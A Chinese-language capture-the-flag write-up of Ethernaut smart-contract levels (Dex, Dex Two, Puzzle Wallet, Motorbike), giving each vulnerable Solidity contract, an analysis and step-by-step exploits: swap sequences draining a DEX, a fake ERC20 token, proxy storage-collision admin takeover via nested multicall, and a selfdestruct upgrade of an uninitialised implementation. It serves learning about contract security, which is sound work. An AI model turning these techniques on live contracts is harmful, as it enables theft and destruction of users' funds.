address instance_add = 0xB91785ecbbC89B9AEEDb41890bACfAa7C6C39467;
Shop shop = Shop(instance_add);

function price() external view returns (uint) {
return Shop(msg.sender).isSold() == true ? 99 : 100;
}

function attack() public {
shop.buy();
}
}

image-20220309133454833

22. Dex

闯关要求

此级别的目标是让您破解下面的基本 DEX 合约并通过价格操纵窃取资金。

您将从 token1 的 10 个令牌和 token2 的 10 个令牌开始。 DEX 合约以每个代币 100 个开始。

如果您设法从合约中取出所有 2 个代币中的至少 1 个,并允许合约报告资产的“坏”价格,您将在此级别上取得成功。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract Dex {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_price(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}

function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function get_swap_price(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(spender, amount);
SwappableToken(token2).approve(spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}

合约分析

有两种方法

  1. 利用 get_swap_price 中的汇率

    get_swap_price 是确定 Dex 中代币之间汇率的方法。其中的除法并不总是计算为一个完美的整数,而是一个分数。Solidity 中没有分数类型。所以会有3 / 2 = 1 的情况出现

    img

  2. 新建 token3 换取 token1 即可

攻击流程

  1. 跳入控制台。首先批准合同以转移您的代币,并提供足够大的限额,这样我们就不必一次又一次地批准。

    1
    await contract.approve(contract.address, 500)

    获取令牌地址:

    1
    2
    t1 = await contract.token1()
    t2 = await contract.token2()

    现在对上面的表行一一对应执行 7 次交换:

    1
    2
    3
    4
    5
    6
    await contract.swap(t1, t2, 10)
    await contract.swap(t2, t1, 20)
    await contract.swap(t1, t2, 24)
    await contract.swap(t2, t1, 30)
    await contract.swap(t1, t2, 41)
    await contract.swap(t2, t1, 45)

    通过以下方式验证:

    1
    2
    3
    await contract.balanceOf(t1, instance).then(v => v.toString())

    // Output: '0'

    image-20220310221300541

  2. 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    pragma solidity 0.6.0;

    contract MyERC20Token {
    address hacker = 0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624;
    address target = 0x1352D4d6EbA9aDcb4827765DC93a877588d8bd33;

    function balanceOf(address account) public view returns (uint256) {
    if (account == hacker || account == target) {
    return 1;
    } else {
    return 1;
    }
    }

    function transferFrom(address, address, uint256) public returns (bool) {
    return true;
    }
    }

    interface Dex {
    function swap(address, address, uint) external;
    }

    contract exploit {
    address token3 = address(new MyERC20Token());
    Dex dex = Dex(0x1352D4d6EbA9aDcb4827765DC93a877588d8bd33);
    address token1 = 0xd3752A3Aec6d7f94a94aA78E8651bb490d44d97D;
    address token2 = 0x190353BB8118e70aFB739c477f5b4ff1dB624eAD;

    constructor() public {
    dex.swap(token3,token2,1);
    }
    }

23. Dex Two

闯关要求

此级别将要求您以不同的方式打破 DexTwo,这是对前一级别进行了细微修改的 Dex 合约。

您需要从 DexTwo 合约中耗尽 token1 和 token2 的所有余额才能在此级别上取得成功。

您仍将从 token1 的 10 个令牌和 token2 的 10 个令牌开始。 DEX 合约仍然以每个代币 100 个开始。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract DexTwo {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_amount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}

function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function get_swap_amount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(spender, amount);
SwappableTokenTwo(token2).approve(spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}

合约分析

与Dex同理

1
2
3
4
5
6
          DEX             |          player  
token1 - token2 - token3 | token1 - token2 - token3
-----------------------------------------------------
100 100 100 | 10 10 300
0 100 200 | 110 10 200
0 0 400 | 110 110 0

攻击流程

创建token3

1
2
3
4
5
6
7
8
9
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Token3 is ERC20 {
constructor(uint256 initialSupply) ERC20("Token3", "t3") {
_mint(msg.sender, initialSupply);
}
}

指定地址

image-20220311152621066

向合约中的t3打入100,并批准合同以转移代币

image-20220311152722301

实例中也需要批准

1
await contract.approve(contract.address, 500)

检查余额

image-20220311152856176

依次执行

1
2
await contract.swap(t3, t1, 100)
await contract.swap(t3, t2, 200)

再次检查余额

1
2
3
4
5
await contract.balanceOf(t1, instance).then(v => v.toString())
//'0'

await contract.balanceOf(t2, instance).then(v => v.toString())
//'0'

提交实例

image-20220311153054894

24. Puzzle Wallet

闯关要求

事实上,如今,为 DeFi 运营付费是不可能的。

一群朋友发现了如何通过在一个交易中批量处理来稍微降低执行多个交易的成本,因此他们开发了一个智能合约来执行此操作。

他们需要这个合约是可升级的,以防代码包含错误,他们还想阻止团队外的人使用它。 为此,他们投票并分配了两个在系统中具有特殊角色的人:管理员,有权更新智能合约的逻辑。 所有者,控制允许使用合约的地址白名单。 合同已部署,该组被列入白名单。 每个人都为他们对抗邪恶矿工的成就欢呼。

他们几乎不知道,他们的午餐钱处于危险之中……

你需要劫持这个钱包才能成为代理的管理员。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

合约分析

先看一下子合约UpgradeableProxy

这里的漏洞是由于代理合约 ( ) 和逻辑合约 ( ) 之间的存储冲突而出现的。

在代理模式中,发送的任何调用/事务都不会直接转到逻辑合约(PuzzleWallet此处),但实际上是通过方法委托给代理合约(PuzzleProxy此处)内部的逻辑合约delegatecall

由于delegatecall是上下文保留,因此上下文取自PuzzleProxy。这意味着,存储中的任何状态读取或写入都将发生在PuzzleProxy相应的插槽中,而不是PuzzleWallet.

1
2
3
4
5
6
slot | PuzzleWallet  -  PuzzleProxy
----------------------------------
0 | owner <- pendingAdmin
1 | maxBalance <- admin
2 | .
3 | .
  1. 这意味着如果我们设置 pendingAdminplayer (通过 PuzzleProxy 中的 proposeNewAdmin 方法), player 则自动成为 owner

    由于proposeNewAdmin 方法设置为 external ,不能直接调用,但我们可以对函数调用的签名进行编码并将交易发送到合约

  2. admin 也和 maxBalance对应于相同的插槽(插槽 1)。如果我们可以admin以某种方式写入maxBalance的地址,我们可以写入player

    setMaxBalance 只有当合约的余额为0时才能设置新 maxBalance

    检查余额:

    1
    2
    await getBalance(contract.address)
    //0.001

    可以通过 execute 取出合约中的余额,但合约会跟踪每个用户的余额balances,您只能提取您存入的资金。我们需要一些方法来破解合约的记账机制,这样我们就可以提取比存入更多的钱,从而耗尽合约的余额。

    可以多次调用相同deposit的方法,并且合约中的 multicall 方法可以将多笔交易批处理为一笔交易。 但是 multicall 会从数据中提取函数选择器(签名的前 4 个字节),并确保 deposit 每个事务只调用一次

    所以选择调用一个 multicall ,其中调用多个multicall 并且这些 multicall 中的每一个都调用 deposit 一次

    1
    2
    3
    4
    5
    6
    7
           multicall
    |
    -----------------
    | |
    multicall multicall
    | |
    deposit deposit

攻击流程

  1. player 设置为 owner
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
functionSignature = {
name: 'proposeNewAdmin',
type: 'function',
inputs: [
{
type: 'address',
name: '_newAdmin'
}
]
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({from: player, to: instance, data})
  1. 验证owner并查询余额

image-20220312223402638

image-20220312223510320

  1. owner我们列入白名单
1
await contract.addToWhitelist(player)
  1. 获取函数调用编码
1
2
3
4
5
depositData = await contract.methods["deposit()"].request().then(v => v.data)
//'0xd0e30db0'

multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
//'0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000'
  1. 调用multicall
1
await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})
  1. 提取相同的金额
1
await contract.execute(player, toWei('0.002'), 0x0)
  1. 检查余额

image-20220312223721874

  1. 将 admin 设置为player
1
await contract.setMaxBalance(player)

image-20220312223829682

25. Motorbike

闯关要求

Ethernaut 的摩托车拥有全新的可升级引擎设计。

你能自毁它的引擎并使摩托车无法使用吗?

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

合约分析

Initializable.sol

当前的 Engine 在任何地方都没有自毁逻辑。但是,由于它是代理模式的逻辑/实现合约,它可以升级为具有 selfdestruct 的新合约。

upgradeToAndCall 方法可供我们升级到新的合约地址,但它有一个授权检查 _authorizeUpgrade ,只有升级者地址才能调用它。

所以,我们需要更改 upgrader 的信息

注意,这里和 Puzzle Wallet 关卡一样, Engine 实际上存储在代理( Motorbike )的存储中。

我们可以在 Engine 的地址调用初始化,使initialized, initializing (来自 Initializable), upgrader 为默认值即false, false, 0x0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Initializable.sol
bool private _initialized;
bool private _initializing;
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");

bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}

_;

if (isTopLevelCall) {
_initializing = false;
}
}

写一个有 selfdestruct 函数的合约,并通过 upgradeToAndCall 方法升级执行合约

如果我们通过 upgradeToAndCall 设置新的实现,将 attackEngine 地址和它的 explode 方法的编码作为参数传递,现有的 Engine 将自行销毁。 这是因为 _upgradeToAndCall 使用提供的数据参数将调用委托给给定的新实现地址。 并且由于 delegatecall 是上下文保留的,explode 方法的 selfdestruct 将在 Engine 的上下文中运行。 因此引擎被摧毁。

1
2
3
4
5
6
7
pragma solidity <0.7.0;

contract attackEngine {
function explode() public {
selfdestruct(address(0));
}
}

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//读取 Engine 地址
implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
//'0x000000000000000000000000a81263b7b5c02eb2e8740dd9d224daab59fa5035'

implAddr = '0x' + implAddr.slice(-40)
//'0xa81263b7b5c02eb2e8740dd9d224daab59fa5035'

//在 Engine 的地址调用初始化
initializeData = web3.eth.abi.encodeFunctionSignature("initialize()")
//'0x8129fc1c'
await web3.eth.sendTransaction({ from: player, to: implAddr, data: initializeData })

//设置 upgrader 并验证
upgraderData = web3.eth.abi.encodeFunctionSignature("upgrader()")
//'0xaf269745'
await web3.eth.call({from: player, to: implAddr, data: upgraderData}).then(v => '0x' + v.slice(-40).toLowerCase()) === player.toLowerCase()
//true

//部署 attackEngine 合约并设置合约地址
attackAddr = '0x030e5e8743dFb45E68D9010200b9aADeB7578EcF'
//'0x030e5e8743dFb45E68D9010200b9aADeB7578EcF'
explodeData = web3.eth.abi.encodeFunctionSignature("explode()")
//'0xb8b3dbc6'

//升级合约
upgradeSignature = {
name: 'upgradeToAndCall',
type: 'function',
inputs: [
{
type: 'address',
name: 'newImplementation'
},
{
type: 'bytes',
name: 'data'
}
]
}
upgradeParams = [attackAddr, explodeData]

upgradeData = web3.eth.abi.encodeFunctionCall(upgradeSignature, upgradeParams)
//'0x4f1ef286000000000000000000000000030e5e8743dfb45e68d9010200b9aadeb7578ecf00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000004b8b3dbc600000000000000000000000000000000000000000000000000000000'

//在 implAddr 调用 upgradeToAndCall
await web3.eth.sendTransaction({from: player, to: implAddr, data: upgradeData})

image-20220313194207096


Writeup | Ethernaut Part Ⅱ
http://sissice.github.io/2022/03/13/Ethernaut闯关(下)/
作者
Sissice
发布于
2022年3月13日
许可协议